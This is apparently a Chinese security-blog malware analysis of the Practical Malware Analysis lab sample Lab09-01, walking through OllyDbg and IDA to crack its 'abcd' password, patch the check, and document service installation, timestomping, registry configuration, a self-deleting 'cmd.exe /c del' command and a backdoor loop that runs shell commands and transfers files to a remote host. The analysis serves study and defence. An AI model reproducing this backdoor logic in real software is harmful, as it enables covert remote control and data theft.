加密后门的木马分析

0r@nge 2021-12-07 10:06:00

0x00 前言

样本地址:https://github.com/0range-x/Virus-sample/blob/master/Chapter_9L/Lab09-01.exe
是书中的一个案例样本,木马加了启动参数,还有启动密码,尝试分析木马的功能和行为

首先crack掉木马的启动密码,根据不同的启动参数分析木马的不同功能,最终建立socket通信。

0x01 大致浏览

按照惯例,先看下导入表,有很多导入函数

OpenSCManagerA:建立与服务控制管理器的连接,并打开指定的服务控制管理器数据库
OpenServiceA: 打开一个已存在的服务
ChangeServiceConfigA:更改服务的配置参数
CloseServiceHandle:关闭指向服务控制管理对象的句柄,也可能是指向服务对象的句柄
CreateServiceA:创建服务对象并将其添加到指定的服务控制管理器数据库
RegDeleteValueA:删除注册表中的键值
RegCreateKeyExA:创建指定的注册表项。如果键已经存在,函数将打开它
RegSetValueExA:设置注册表键值的数据和类型
RegOpenKeyExA:打开指定的注册表项
RegQueryValueExA:检索与开放注册表键关联的指定值名称的类型和数据。与RegOpenKeyExA功能类似
DeleteService:从服务控制管理器数据库中删除的指定服务
.text:0040101B                 call    ds:RegOpenKeyExA
.text:0040103A                 call    ds:RegQueryValueExA
.text:0040104D                 call    ds:CloseHandle

.text:004011A8                 call    ds:RegCreateKeyExA
.text:004011D5                 call    ds:RegSetValueExA
.text:004011E6                 call    ds:CloseHandle

.text:00401233                 call    ds:RegCreateKeyExA
.text:0040124D                 call    ds:RegDeleteValueA
.text:00401260                 call    ds:CloseHandle

.text:004012AE                 call    ds:RegOpenKeyExA
.text:004012DD                 call    ds:RegQueryValueExA
.text:004012F9                 call    ds:CloseHandle

.text:004014FC                 call    ds:CreateFileA
.text:00401525                 call    ds:GetFileTime

.text:00401560                 call    ds:CreateFileA
.text:00401579                 call    ds:SetFileTime

.text:004015C8                 call    ds:GetSystemDirectoryA

.text:0040165E                 call    ds:WSAStartup
.text:00401676                 call    ds:gethostbyname
.text:0040168B                 call    ds:WSACleanup
.text:004016A1                 call    ds:socket
.text:004016B4                 call    ds:WSACleanup
.text:004016E2                 call    ds:htons
.text:004016FE                 call    ds:connect
.text:0040170F                 call    ds:closesocket
.text:0040171E                 call    ds:WSACleanup

.text:004017FA                 call    ds:send

.text:004018B8                 call    ds:CreateFileA
.text:00401906                 call    ds:ReadFile
.text:00401910                 call    ds:GetLastError

.text:00401A65                 call    ds:recv
.text:00401A84                 call    ds:WriteFile

.text:004020C7                 call    ds:Sleep

.text:004026CC                 call    ds:OpenSCManagerA
.text:004026FB                 call    ds:OpenServiceA
.text:00402730                 call    ds:ChangeServiceConfigA
.text:00402741                 call    ds:CloseServiceHandle
.text:0040285E                 call    ds:ExpandEnvironmentStringsA
.text:00402880                 call    ds:GetModuleFileNameA
.text:004028A1                 call    ds:CopyFileA

.text:00402915                 call    ds:OpenSCManagerA
.text:00402977                 call    ds:DeleteService
.text:00402988                 call    ds:CloseServiceHandl

.text:00405683                 call    ds:HeapReAlloc
.text:00408367                 call    ebp ; VirtualAllo
.text:00408428                 call    ds:VirtualFree
.text:0040843F                 call    ds:HeapFree

ok,大概找一下这些函数的位置,为后面做准备

image.png

ShellExecuteA: 运行一个外部程序,或者打开一个已注册的文件、打开一个目录、打印文件等等功能,它可以打开电脑内的任何文件,也可以打开URL

下面的函数已经老生常谈了,建立socket通信使用

image.png

大概猜测一下,这个程序做了什么呢?创建服务,修改注册表,建立通信,应该是个后门。

0x02 详细分析

前奏

找到main函数

image.png

先拖到od里面
emmm?竟然是从403896开始?再看下调用堆栈,很明显,这里不是程序真正的入口,
image.png

直到 403945处,显示终止,那么回去重新看

image.png

在ida中发现它是对main函数的调用

image.png

回到od,接着F7,step in -> 单步步入

来到这里,继续F7+F8一步步分析

image.png

image.png

f7单步进入 403945

这里才是函数的入口

image.png

一步步看,F8,step->over,往上看看

前面主要是一些传参,push 字符串入栈

image.png

402AFD处,对比arg(命令行参数的数量)是否为1,因为我们这里前面并没有指定任何参数,所以这里不跳转,继续执行,并且跳转到401000

image.png

ok,回到前面402AFD处继续向下分析

402B08这里,执行test eax,eax,检测eax的值是不是0,因为前面 xor eax,eax后,所以eax是0,这里成功跳转到 402410

image.png

因为这个函数比较长,无法完整截图,所以这里贴上代码

.text:00402410                 push    ebp
.text:00402411                 mov     ebp, esp
.text:00402413                 sub     esp, 208h
.text:00402419                 push    ebx
.text:0040241A                 push    esi
.text:0040241B                 push    edi
.text:0040241C                 push    104h            ; nSize
.text:00402421                 lea     eax, [ebp+Filename]
.text:00402427                 push    eax             ; lpFilename
.text:00402428                 push    0               ; hModule
.text:0040242A                 call    ds:GetModuleFileNameA
.text:00402430                 push    104h            ; cchBuffer
.text:00402435                 lea     ecx, [ebp+Filename]
.text:0040243B                 push    ecx             ; lpszShortPath
.text:0040243C                 lea     edx, [ebp+Filename]
.text:00402442                 push    edx             ; lpszLongPath
.text:00402443                 call    ds:GetShortPathNameA
.text:00402449                 mov     edi, offset aCDel ; "/c del "
.text:0040244E                 lea     edx, [ebp+Parameters]
.text:00402454                 or      ecx, 0FFFFFFFFh
.text:00402457                 xor     eax, eax
.text:00402459                 repne scasb
.text:0040245B                 not     ecx
.text:0040245D                 sub     edi, ecx
.text:0040245F                 mov     esi, edi
.text:00402461                 mov     eax, ecx
.text:00402463                 mov     edi, edx
.text:00402465                 shr     ecx, 2
.text:00402468                 rep movsd
.text:0040246A                 mov     ecx, eax
.text:0040246C                 and     ecx, 3
.text:0040246F                 rep movsb
.text:00402471                 lea     edi, [ebp+Filename]
.text:00402477                 lea     edx, [ebp+Parameters]
.text:0040247D                 or      ecx, 0FFFFFFFFh
.text:00402480                 xor     eax, eax
.text:00402482                 repne scasb
.text:00402484                 not     ecx
.text:00402486                 sub     edi, ecx
.text:00402488                 mov     esi, edi
.text:0040248A                 mov     ebx, ecx
.text:0040248C                 mov     edi, edx
.text:0040248E                 or      ecx, 0FFFFFFFFh
.text:00402491                 xor     eax, eax
.text:00402493                 repne scasb
.text:00402495                 add     edi, 0FFFFFFFFh
.text:00402498                 mov     ecx, ebx
.text:0040249A                 shr     ecx, 2
.text:0040249D                 rep movsd
.text:0040249F                 mov     ecx, ebx
.text:004024A1                 and     ecx, 3
.text:004024A4                 rep movsb
.text:004024A6                 mov     edi, offset aNul ; " >> NUL"
.text:004024AB                 lea     edx, [ebp+Parameters]
.text:004024B1                 or      ecx, 0FFFFFFFFh
.text:004024B4                 xor     eax, eax
.text:004024B6                 repne scasb
.text:004024B8                 not     ecx
.text:004024BA                 sub     edi, ecx
.text:004024BC                 mov     esi, edi
.text:004024BE                 mov     ebx, ecx
.text:004024C0                 mov     edi, edx
.text:004024C2                 or      ecx, 0FFFFFFFFh
.text:004024C5                 xor     eax, eax
.text:004024C7                 repne scasb
.text:004024C9                 add     edi, 0FFFFFFFFh
.text:004024CC                 mov     ecx, ebx
.text:004024CE                 shr     ecx, 2
.text:004024D1                 rep movsd
.text:004024D3                 mov     ecx, ebx
.text:004024D5                 and     ecx, 3
.text:004024D8                 rep movsb
.text:004024DA                 push    0               ; nShowCmd
.text:004024DC                 push    0               ; lpDirectory
.text:004024DE                 lea     eax, [ebp+Parameters]
.text:004024E4                 push    eax             ; lpParameters
.text:004024E5                 push    offset File     ; "cmd.exe"
.text:004024EA                 push    0               ; lpOperation
.text:004024EC                 push    0               ; hwnd
.text:004024EE                 call    ds:ShellExecuteA
.text:004024F4                 push    0               ; Code
.text:004024F6                 call    _exit
.text:004024F6 sub_402410      endp

看到它调用GetModuleFileNameA获取当前可执行文件的路径,接着调用GetShortPathNameA函数获取缩写的全路径字符串,构造完整的字符串即/c del path-to-executable >>NUL,下面调用ShellExecuteA函数打开cmd命令行,参数是前面构造的字符串,即从硬盘中删除自己。因为在od中已经打开了该文件,当然是删除失败的。

因为filename在栈空间,载入内存才直到它是什么。

先找到 ebp寄存器的地址,再减去208h

image.png

但是因为我对od使用不熟悉,ebp没有找到有用的东西。™的在ecx中找到了…,其实也可以对应上,调用GetModuleFilenameA后,filename会赋值给ecx,也算是找到了当前路径。

image.png

那就可以结合ida中的字符串,拼接一下cmd.exe /c del c:\Users\adninistrator\Desktop\BinaryCollection\Chapter_9L\Lab09-01-cracked.exe>>NUL 即删除自身

image.png

命令行选项 地址 行为
-in 0x402600 安装服务
-re 0x402900 卸载服务
-c 0x401070 设置注册表配置键
-cc 0x401280 打印注册表配置键

在main函数中,不难找到几处对__mbscmp函数的调用,整理下该函数调用的参数

image.png

-in

下一步应该是为了让这个程序能正常运行。这里给程序启动添加个参数,使其正常运行。修改注册表的代码路径应该也是可以的,但是修改注册表属于高危操作,很容易产生意外后果,所以这里先添加启动参数试试,这样就满足了402AFD的cmp,

image.png
添加 -in参数试试,这里为什么添加 -in参数,可以跳转到 0x03 命令行分析

image.png

看到还是会跳到 402410,尝试删除自己,那说明我们添加的参数没起作用啊

image.png

402B2E处,最后一个命令行参数被传入到 402510处,这是最后一个参数,因为C程序的main函数只有两个参数: argc和argv,argc是参数的个数,argv是指向命令行参数的一个指针。EAX包含argc,ECX包含argv。在402B23处,ecx+eax*4-4这个指针选择命令行参数数组中的最后一个元素,最后在 eax中,并且在函数调用之前push入栈

image.png

接着往下,来到402B2E处,函数调用 402510

image.png

在ida中看看,很奇怪,这里没有函数调用,只有一系列算术操作。add/xor/cmp/,检查输入得到是否是4个字符,如果是的话,跳转到40252D处,而这里,又开始和字符‘a’进行比较,顺着往下全面分析的话,可以看出它检验输入的字符是不是 abcd,很明显,这里做了密码校验。到这里就可以猜测,添加了命令行参数仍然跳转的原因,因为做了密码校验。

f5看下反汇编,这里我就直接贴代码了

BOOL __cdecl sub_402510(int a1)
{
  BOOL result; // eax
  char v2; // [esp+4h] [ebp-4h]
  char v3; // [esp+4h] [ebp-4h]

  if ( strlen((const char *)a1) != 4 )              //校验4位长度
    return 0;
  if ( *(_BYTE *)a1 != 97 )                         //a
    return 0;
  v2 = *(_BYTE *)(a1 + 1) - *(_BYTE *)a1;           //b
  if ( v2 != 1 )
    return 0;
  v3 = 99 * v2;
  if ( v3 == *(char *)(a1 + 2) )                    //c
    result = (char)(v3 + 1) == *(char *)(a1 + 3);   //d
  else
    result = 0;
  return result;
}

进入402510调试

可以看到返回值是0,因为密码校验错误嘛,输入的不是 abcd,

image.png
这里直接修改寄存器的返回值,

image.png

image.png

image.png

接着看 在调用GetModuleFileNameA后,接着调用了splitpath函数来获取当前文件路径

image.png

接着往下,alloca_probe是在栈空间申请内存的函数,sub_4025B0我们知道是一个截取文件路径的函数,402632看来是先取一下system32目录。

image.png

继续续调试,进入 4026cc,来ida中看

image.png

调用OpenSCManagerA,打开一个服务管理器,创建一个服务,并添加进启动项,并且将自己复制到 %SYSTEMROOT%\\system32\\xxx,即写进system32目录

image.png

要想知道启动的什么服务的话,只能在内存中看,这里很明显,启动的服务是自己

image.png

接着在下面调用ChangeServiceConfigA函数,可以看下它的参数。

image.png

接着跳着就跳出了main函数,就shutdown了?? 这里注意到,这些函数只是打开并且安装服务,但是并没有创建服务,因为我们没找到CreateServiceA函数,按理来说创建服务的话,应该都是有这个函数的。

image.png

我们看到ida里是有这个函数的。这里在od中没出现是因为,在调试的过程中,step in很多次,已经创建了该服务,所以od没有进入该函数。

image.png

在任务管理器中查看,确实是创建并启动了服务
image.png

继续看。在40380F处调用 __mbscmp函数

!image.png

这是一个选择循环结构,根据__mbscmp函数的匹配结果来决定执行语句

image.png

4015B0处的GetSystemDirectory,这个函数能取得Windows系统目录(System目录)的完整路径名。在这个目录中,包含了所有必要的系统文件。根据微软的标准,其他定制控件和一些共享组件也可放到这个目录。通常应避免在这个目录里创建文件。在网络环境中,往往需要管理员权限才可对这个目录进行写操作。

这个函数主要是用来修改 复制文件、访问和最后变化的时间戳,来与Kernel32.dll保持一致。这个修改时间戳来和其他文件保持一致的技术叫timestomping,网上也有打包好的工具,自己写也很简单,可以参考msdn

image.png

这里 4011A8创建注册表项HKLM\SOFTWARE\Microsoft \\xps,空格是为了让它显示更独特,可以看出是受感染的主机。接着在 4011BE处,edx寄存器指向 Data缓冲区,用来存储注册表项下 名为Configuration的键值。但是缓冲区的内容是什么呢?我们在4011BE处设置断点,然后F9进入执行,查看寄存器EDX的值,就可以看到加载到内存中的字符串。

image.png

进入ShellExecuteA处,删除自身,接着退出程序

image.png

-re

传参改为-re继续调试

image.png

一步步step in

又是402510,这里前面已经分析过,是进行密码校验,

image.png

go on ,这里有一个402900,看看
image.png

调用了DeleteService函数,删除指定的服务

image.png

可以看出是将自己删除了

image.png

继续

后面调用了ExpandEnvironmentStringsA函数,扩展环境可变字符串,并将其替换为当前用户定义的值,这里就是将该字符串替换为空,

image.png

删除自己

image.png

接着就结束了,这是re的功能:删除服务并且删除自身文件

-c

image.png

这里注意刚刚执行-re的时候已经删除了服务,所以要先执行-in 来安装服务,这里也是找到了前面没发现的CreateServiceA函数

image.png

这里就直接挑关键的分析

一路f7,来到这里就可以确定是目的地了

image.png

大概看一看这个函数的功能,发现跳转了4个地址,逐个看看

image.png

402cd9这里应该就是检验输入的字符串是不是-cc,

image.png

402ccf这里判断参数个数是否为7

image.png

401070这里可以看到就是对注册表的操作了

image.png

调用RegOpenKeyExA,尝试打开注册表项 HKLM\SOFTWARE\Microsoft \ \XPS

image.png

image.png

对-c 参数的分析就到这里,可以清楚它的功能是设置注册表项。

-cc

image.png

看到它调用的参数,401028这里。调用RegQueryValueExA函数,读取配置注册表的键值内容,并且将读取的数值放在缓冲区中,

image.png

在od中可以直接查看调用的参数

image.png
查询注册表项的配置文件

image.png

再来到ida中看细节,单步跟进,这里我浪费了很长时间,一点点看细节没有收获,直接跳到最后看函数返回值

image.png

看样子像字符串拼接,和printf类似,跳转到call的地址

image.png
f5看下反汇编,看来就是printf输出打印

image.png

打印一下试试,果然,不过这些字符串,有域名,其他的看着像端口什么的。

image.png

ok,-cc命令的作用就到这里,读取注册表中的项的内容并输出。

无参

又回到了401000,往下找,跳到 432060

image.png

f5看下反汇编,一直在while循环,但是很奇怪,并没有终止条件。

image.png

来到401640,终于建立网络连接了,但是我机器断网的原因,这里返回false

image.png

调用send函数,传入的参数是buf,即之前获取的注册表配置信息

image.png

后面还有个recv函数,用来接收信息,接着做了一个比较,判断长度是否小于0,如果是,跳转到401CAD中,否则继续执行,跳转到

image.png

跳转到401F10处,调用了strstr,用来匹配字符串

image.png

401E60处的伪代码,可以结合上面的分析来总结下

int __cdecl sub_401E60(char *a1, int a2)
{
  u_short hostshort[2]; // [esp+8h] [ebp-1424h] BYREF
  char name[1024]; // [esp+Ch] [ebp-1420h] BYREF
  char *v5; // [esp+40Ch] [ebp-1020h]
  int v6; // [esp+410h] [ebp-101Ch] BYREF
  char *v7; // [esp+414h] [ebp-1018h]
  int v8[4]; // [esp+418h] [ebp-1014h] BYREF
  char *v9; // [esp+428h] [ebp-1004h]
  char Str[4096]; // [esp+42Ch] [ebp-1000h] BYREF

  v6 = 4096;
  if ( sub_401420(name, 1024) )             //获取并截取注册表
    return 1;
  if ( sub_401470(hostshort) )              //获取注册表键
    return 1;
  if ( sub_401D80(v8) )                     //延时
    return 1;
  if ( sub_401AF0(name, hostshort[0], (int)v8, Str, (int)&v6) )         //建立socket通信并recv
    return 1;
  v9 = strstr(Str, asc_40C090);             //匹配字符串
  if ( !v9 )
    return 1;
  v5 = v9;
  v9 = strstr(v9, asc_40C088);
  if ( !v9 )
    return 1;
  v7 = v9;
  if ( v9 - v5 + 1 > a2 )
    return 1;
  qmemcpy(a1, &v5[strlen(asc_40C090)], v7 - v5 - strlen(asc_40C090));
  a1[v7 - v5 - strlen(asc_40C090)] = 0;
  return 0;
}

主要的功能就是用来获取字符串,如果获取成功,进入40204c,发现了sleep,upload等字样,f5看下伪代码

image.png

int __cdecl sub_402020(char *name)
{
  char *v2; // eax
  char *v3; // eax
  char *v4; // eax
  u_short hostshort; // [esp+4h] [ebp-424h]
  FILE *Stream; // [esp+8h] [ebp-420h]
  const char *Command; // [esp+Ch] [ebp-41Ch]
  u_short v8; // [esp+10h] [ebp-418h]
  char *lpFileName; // [esp+14h] [ebp-414h]
  u_short v10; // [esp+18h] [ebp-410h]
  char *v11; // [esp+1Ch] [ebp-40Ch]
  const char *String; // [esp+20h] [ebp-408h]
  int v13; // [esp+24h] [ebp-404h]
  char Str1[1024]; // [esp+28h] [ebp-400h] BYREF

  if ( sub_401E60(Str1, 1024) )
    return 1;
  if ( !strncmp(Str1, Str2, strlen(Str2)) )
  {
    strtok(Str1, Delimiter);
    String = strtok(0, Delimiter);
    v13 = atoi(String);
    Sleep(1000 * v13);
  }
  else if ( !strncmp(Str1, aUpload, strlen(aUpload)) )
  {
    strtok(Str1, Delimiter);
    v2 = strtok(0, Delimiter);
    v10 = atoi(v2);
    v11 = strtok(0, Delimiter);
    if ( sub_4019E0(name, v10, v11) )
      return 1;
  }
  else if ( !strncmp(Str1, aDownload, strlen(aDownload)) )
  {
    strtok(Str1, Delimiter);
    v3 = strtok(0, Delimiter);
    v8 = atoi(v3);
    lpFileName = strtok(0, Delimiter);
    if ( sub_401870(name, v8, lpFileName) )
      return 1;
  }
  else if ( !strncmp(Str1, aCmd_0, strlen(aCmd_0)) )
  {
    strtok(Str1, Delimiter);
    v4 = strtok(0, Delimiter);
    hostshort = atoi(v4);
    Command = strtok(0, asc_40C0A4);
    Stream = _popen(Command, Mode);
    if ( !Stream )
      return 1;
    if ( sub_401790(name, hostshort, Stream) )
    {
      _pclose(Stream);
      return 1;
    }
    _pclose(Stream);
  }
  else
  {
    strncmp(Str1, aNothing, strlen(aNothing));
  }
  return 0;
}

几个关键点

命令 地址 字符串命令格式 行为
sleep 402076 sleep secs sleep
upload 4019e0 upload port filename 通过端口port连接远程主机并读取内容,然后在本地创建filename文件
download 401870 download port filename 读取文件filename并且通过端口port发送到远程主机
cmd 402268 cmd port command 用cmd命令行运行shell命令,通过端口将输出发送到远程主机
nothing 402356 nothing 无操作

很明显,这里实现了后门的功能。但是还有一点,uploaddownload的功能好像与名称相反emm???还是不要纠结名字了吧。

跳转到401b35,出现了get请求,http协议,请求http://www.practicalmalwareanalysis.com的80端口。

image.png

另一种crack密码abcd姿势

另一种修改的方法。

先反汇编下指令。直接填充

B8 01 00 00 00          mov eax,0x1
C3                      ret

由于call指令准备堆栈,而RET指令负责清理栈,我们可以覆盖密码检查函数的开头指令 402510处。

编辑下二进制文件,binary,edit。

因为我们想在原来只占1字节的空间写入6个字节的指令,所以这里不选保持大小,

image.png

修改成功后
image.png

右键复制到可执行文件,全部复制

image.png

image.png

检查下函数是否被成功禁用,使用命令参数-in重新调试。在402510处bypass,最后跳转到 402B3F。六条指令后,指向第一个命令行的参数的指针被push入栈,紧接着指向另外字符串(-in)的一个指针。

image.png

image.png

将文件保存到磁盘上,在ida中打开这两个不同的文件,对比下

image.png

0x03 总结

这个样本大致功能就可以看出,反向连接远程服务器,实现后门。其中几个命令行参数,安装/配置/删除等等,需要首先crack密码“abcd”。在程序运行时,首先将自己复制到 system32目录,创建服务并自启,然后删除自己。安装后,该程序会读取注册表的配置信息,get请求远程服务,通过socket套接字,建立连接。

反思: 这篇文章到了后面逻辑显得不是那么清晰,看出对od和ida的熟练度有待提高。希望下篇文章可以进步更多。

Peace.

评论

123321123321 2021-12-08 23:34:25

P

Pseudoknot 2021-12-09 08:23:22

0r@nge

菜鸡

随机分类

iOS安全 文章:36 篇
Java安全 文章:34 篇
神器分享 文章:71 篇
企业安全 文章:40 篇
漏洞分析 文章:212 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录